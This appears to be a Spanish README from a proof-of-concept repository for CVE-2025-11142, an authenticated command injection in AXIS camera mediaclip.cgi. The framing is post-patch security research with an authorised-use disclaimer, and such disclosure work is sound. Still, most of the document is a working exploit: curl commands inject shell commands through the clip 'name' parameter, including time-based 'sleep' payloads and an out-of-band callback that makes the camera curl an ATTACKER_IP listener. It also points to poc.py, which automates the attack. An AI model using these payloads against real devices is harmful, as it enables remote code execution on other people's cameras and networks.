
Prueba de concepto y análisis técnico para CVE-2025-11142, una inyección de comandos del sistema operativo autenticada en AXIS VAPIX mediaclip.cgi, con métodos de verificación basados en tiempo y fuera de banda.
mediaclip.cgi de AXISInforme de investigación n-day y PoC — análisis técnico posterior al parche de una vulnerabilidad de inyección de comandos del sistema operativo con CVSS 7.1 en la API VAPIX Media Clip de AXIS, redescubierta de forma independiente y verificada mediante pruebas de caja negra contra un dispositivo Axis.
El aviso oficial de Axis no publica detalles técnicos de explotación ni un PoC público ("Axis no proporcionará información más detallada sobre la vulnerabilidad", "no se conocen exploits públicos" según la publicación del aviso). Este repositorio documenta una confirmación independiente y basada en evidencia, publicada solo después de que el parche del proveedor (AXIS OS 12.7.36) estuviera disponible de forma general. Ver Cronología de divulgación.
| ID CVE | CVE-2025-11142 |
| CWE | CWE-78 (Inyección de comandos del sistema operativo) |
| CVSS | 7.1 (Alta) |
| Afectados | AXIS OS 12.6.54 – 12.7.35 |
| Corregido en | AXIS OS 12.7.36 (canal Active) |
| Aviso del proveedor | https://www.axis.com/dam/public/18/0e/90/cve-2025-11142pdf-en-US-519291.pdf |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-11142 |
| Privilegios requeridos | Operador/administrador autenticado (autenticación VAPIX HTTP Digest) |
| Impacto verificado aquí | Ejecución arbitraria de comandos del sistema operativo como cuenta de servicio con privilegios bajos (no root) |
El endpoint VAPIX /axis-cgi/mediaclip.cgi acepta una solicitud action=update con un
parámetro name de texto libre (el nombre para mostrar del clip). Las pruebas de caja negra muestran que este valor
se pasa, sin sanitizar, a una invocación de shell en el dispositivo — muy probablemente como parte de un
paso interno de renombrado/procesamiento de archivos para el subsistema de clips multimedia.
Ningún informe técnico público describe la ruta exacta del código del lado del servidor (Axis no ha publicado uno), por lo que la causa raíz que se indica a continuación se infiere del comportamiento de caja negra, no de una revisión del código fuente.
Todas las solicitudes utilizan autenticación HTTP Digest (el dispositivo rechaza la autenticación Basic). Reemplace
TARGET, USER y PASS con los valores de su propio dispositivo de laboratorio — no utilice las credenciales de ejemplo
contra un dispositivo que no le pertenezca o para el que no esté autorizado a realizar pruebas.
La acción update requiere un clip existente. Si el clip 0 aún no existe, cargue primero un
marcador de posición pequeño e inofensivo:
curl -s --digest -u "$USER:$PASS" --anyauth \
-X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
-F "[email protected];type=audio/wav"
Cualquier archivo WAV válido y diminuto sirve para poc.wav (una cabecera RIFF/WAVE mínima es suficiente).
# línea base / control — sin retardo inyectado
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 0;"
# retardo inyectado de 8 segundos
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 8;"
Un tiempo de respuesta que sigue la duración del sleep inyectado (en lugar de la línea base de ~0.3s)
confirma que el shell está ejecutando el valor completo de name, no solo tratándolo como una cadena
inerte. Esto se verificó con múltiples retardos escalados de forma independiente (0s / 3s / 6s / 8s)
y múltiples sintaxis de inyección (;, &&, comillas invertidas, $(...)) para descartar coincidencias.
Debido a que el cuerpo de la respuesta HTTP nunca refleja la salida del comando (OK / Updating=0 independientemente
de la carga útil), la confirmación más convincente utiliza la propia capacidad de red saliente del dispositivo. Inicie un listener en un host controlado por el atacante y haga que el comando inyectado
se comunique con él:
# en el host del atacante:
nc -lvnp 4444
# carga útil inyectada:
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"
Una solicitud HTTP entrante genuina desde la dirección IP del dispositivo objetivo, que contenga la
cadena User-Agent de curl, es una prueba inequívoca de ejecución remota de código — la solicitud
solo puede originarse desde un comando que realmente se ejecutó en el dispositivo.
curl -s --digest -u "$USER:$PASS" --anyauth "http://$TARGET/axis-cgi/mediaclip.cgi?action=remove&clip=0"
poc.pyConsulte poc.py para ver un script autónomo que automatiza los pasos 1–4 contra un
objetivo que usted especifique en la línea de comandos.
usage: poc.py --target 192.168.1.100 --user admin --pass admin --callback-ip 192.168.1.50 [--callback-port 4444]
mediaclip.cgi) que Axis no haya confirmado ya.Este código se proporciona únicamente para pruebas de seguridad autorizadas, investigación de seguridad y fines defensivos (por ejemplo, verificar si su propia flota está parcheada, crear firmas de detección). No lo utilice contra dispositivos que no le pertenezcan o para los que no tenga autorización escrita explícita para realizar pruebas. El/los autor(es) no asumen ninguna responsabilidad por el mal uso.
MIT — ver LICENSE.